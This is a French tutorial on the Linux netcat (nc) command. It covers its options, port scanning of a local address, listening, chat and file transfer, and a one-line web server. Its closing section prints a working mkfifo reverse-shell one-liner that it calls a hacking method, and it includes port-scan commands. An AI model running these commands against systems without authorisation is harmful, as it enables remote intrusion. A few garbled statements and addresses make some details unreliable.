Modes de paiement Abuse

A quoi sert la commande NC dans Linux

29.08.2024, 02:19

La commande netcat est nécessaire pour envoyer et recevoir des données à l'aide des protocoles TCP et UDP. Elle ne dispose pas d'un grand nombre de fonctions, mais elle est suffisante pour vérifier les connexions et effectuer un débogage simple. Comment communiquer via le protocole TCP ? Cette question est posée par de nombreux utilisateurs. Dans cet article, nous répondrons à cette question et nous montrerons également des exemples d'application réelle de la commande.

Que fait cette commande ?

La commande netcat (ou nc) est un outil puissant pour travailler sur les connexions réseau. Elle est souvent utilisée par les administrateurs système et les développeurs pour diverses tâches. Voici les principales fonctions et caractéristiques de netcat:

  1. Établissement de connexions TCP/UDP : permet d'établir des connexions avec des hôtes distants à l'aide des protocoles TCP et UDP.
  2. Écoute des ports : peut être utilisé comme serveur pour écouter les connexions entrantes sur un port spécifique.
  3. Transfert de données : transfert de données entre ordinateurs sur un réseau. Cela peut être utile pour le transfert de fichiers ou la messagerie.
  4. Débogage d'applications réseau : utilisé pour tester et déboguer des services réseau, vous permettant d'envoyer et de recevoir des données arbitraires.
  5. Créer des chats simples : il est possible d'établir une communication textuelle simple entre deux systèmes.
  6. Balayage de ports : permet de vérifier si des ports sont ouverts sur des hôtes distants.
  7. Création de tunnels : permet de créer des tunnels pour rediriger le trafic vers d'autres ports ou hôtes.
  8. Travailler avec des serveurs mandataires : peut être utilisé pour travailler avec des serveurs mandataires et effectuer diverses tâches de mise en réseau.

netcat est un outil polyvalent qui peut être utilisé dans une grande variété de scénarios, de la simple messagerie aux opérations réseau complexes.

Options

Commençons par examiner la syntaxe et les options les plus populaires :

  • -6 - utilise le protocole IPv6. La valeur par défaut est -4 et IPv4 respectivement ;
  • -h - affiche l'aide avec la liste des paramètres disponibles ;
  • -i - delay - ajoute un délai entre l'envoi de chaînes de caractères ou le balayage des ports. Il est défini en secondes ;
  • -l - mode d'écoute. Utilisé avec la spécification du port ;
  • -N - ferme la connexion lorsque la fin du fichier est atteinte lors de l'envoi ;
  • -n - travaille avec les adresses IP directement sans DNS, désactive également le balayage des ports ;
  • -P - nom_utilisateur - spécifie le nom d'utilisateur pour se connecter au proxy ;
  • -x - address:port - spécifie l'adresse et le port pour se connecter au proxy ;
  • -p - port - spécifie le numéro de port. Dans la plupart des cas, le port est lu sans spécifier le paramètre ;
  • -U - utilise le socket de domaine UNIX (pour la communication interprocessus) ;
  • -u - utilise le protocole UDP, alors que le protocole TCP est utilisé par défaut ;
  • -v - mode détaillé. Utilisé lors de l'analyse ;
  • -W nombre_paquets - ferme la connexion après réception d'un certain nombre de paquets ;
  • -w timer - active le timer pour limiter la durée de la connexion. Il est défini en secondes ;
  • -z - désactive l'envoi de données. Cette commande est utilisée pendant le balayage.

La commande se présente sous la forme suivante (paramètres adresse du port) :

$ nc

Nous allons maintenant vous expliquer comment utiliser cette commande.

Vérification du port

La vérification est l'utilisation principale de netcat. Vous devez utiliser deux paramètres -vz, spécifier l'adresse et le port. Vous pouvez spécifier une plage d'adresses, mais dans ce cas, il est préférable de ne passer au crible que les ports ouverts à l'aide de la commandegrep. Analysons les ports de l'adresse du réseau local :

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

De la même manière, analysons les ports UDP en ajoutant le paramètre -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Vous devez connaître la principale différence entre TCP et UDP. Ainsi, en UDP, les ports sont toujours disponibles.

Écoute du port

Le paramètre -l est destiné à l'écoute du port. Il est souvent suffisant, mais vous pouvez activer le mode détaillé :

$ nc -nlv 8080

N'oubliez pas que lors de l'utilisation du protocole TCP, le port doit être libre, sinon l'erreur Already in use apparaîtra. Tous les ports ne peuvent pas être utilisés par des utilisateurs normaux, par exemple le port 80 (HTTP), qui sera probablement occupé par un autre processus et nécessitera les droits d'un superutilisateur.

Échange de fichiers

L'échange de données est une fonction utile de la commande. Un exemple simple est celui d'un salon de discussion textuelle. Pour démarrer un chat sur un ordinateur, exécutez l'utilitaire en mode d'écoute du port :

$ nc -lp 8080

Sur l'autre ordinateur, vous devrez spécifier l'adresse du premier ordinateur et le même port. N'oubliez pas non plus de vérifier que le port est ouvert :

$ nc 0.0.0.0 8080

Vous pourrez ainsi envoyer et recevoir des messages. C'est-à-dire que la commande est destinée à l'échange de fichiers. Le principe est le même, sauf qu'il faut rediriger la sortie vers un fichier, à savoir paste.txt:

$ nc -l 8080 > paste.txt

Sur l'autre PC, c'est le fichier copy.txt qui servira d'entrée. Il n'est pas superflu d'utiliser le paramètre -N pour fermer la connexion après le transfert de fichiers :

$ nc -N 0.0.0.0 8080 < copy.txt

Pour le transfert de fichiers, il est important de respecter la séquence, d'abord ouvrir l'écoute et seulement ensuite envoyer le fichier. La commande nc est un moyen efficace, mais loin d'être le meilleur pour transférer des fichiers. Il existe des outils plus efficaces et plus utiles pour cette tâche.

Un simple serveur web

Comme la commande NC ne fonctionne pas avec le protocole TCP, elle permet d'envoyer et de recevoir des requêtes HTTP. L'utilitaire peut donc devenir un simple serveur web. Certes, vous ne pourrez rien faire de plus délicat qu'une page blanche de cette manière, mais l'opération ne prendra pratiquement pas de temps, et l'avantage est que vous n'avez pas besoin d'installer quoi que ce soit d'autre.

Sur le formulaire d'exemple, réponse HTTP avec le fichier index.html. En ce qui concerne np lui-même, c'est une bonne idée de mettre en place un timer avec le paramètre -w 1 pour interrompre la connexion si le navigateur ne le fait pas :

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Pour obtenir des données d'un site web, vous pouvez formuler une requête et l'envoyer à l'adresse et au port conseillés. Mais cette méthode est assez compliquée, il est préférable d'utiliser la commande CURL appropriée.

Shell distant

Sur la base des exemples présentés ci-dessus, il ne sera pas difficile de conclure que la commande permet d'organiser l'accès à distance à l'interpréteur de commandes de l'ordinateur. Auparavant, l'utilitaire NC disposait de plusieurs paramètres pour ouvrir l'accès au terminal. Le paramètre -e a été supprimé de l'utilitaire il y a longtemps, de sorte qu'il n'y aura plus d'accès simple au terminal. La sécurité de l'application elle-même est devenue plus élevée, mais elle peut toujours fonctionner en conjonction avec d'autres.

Montrons la connexion en utilisant le canal nommé mkfifo. Tout d'abord, commençons à écouter le port du PC auquel nous aurons accès :

$ nc -lvnp 8080

Passons directement à la commande d'ouverture du terminal. Supprimons d'abord l'ancien canal nommé(rm /tmp/f), créons-en un nouveau à sa place(mkfifo /tmp/f), lisons son contenu(cat /tmp/f) et envoyons une commande shell à sa sortie(sh -i 2>&1). Après cela, il reste à exécuter nc avec une sortie vers notre canal nommé(nc 0.0.0.0.0 8080 >/tmp/f) :

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Gardez à l'esprit qu'il s'agit d'une façon de pirater, mais qu'elle peut s'avérer utile en cas de problèmes avec ssh. Afin de prévenir l'attaque, configurez une politique de sécurité et un pare-feu.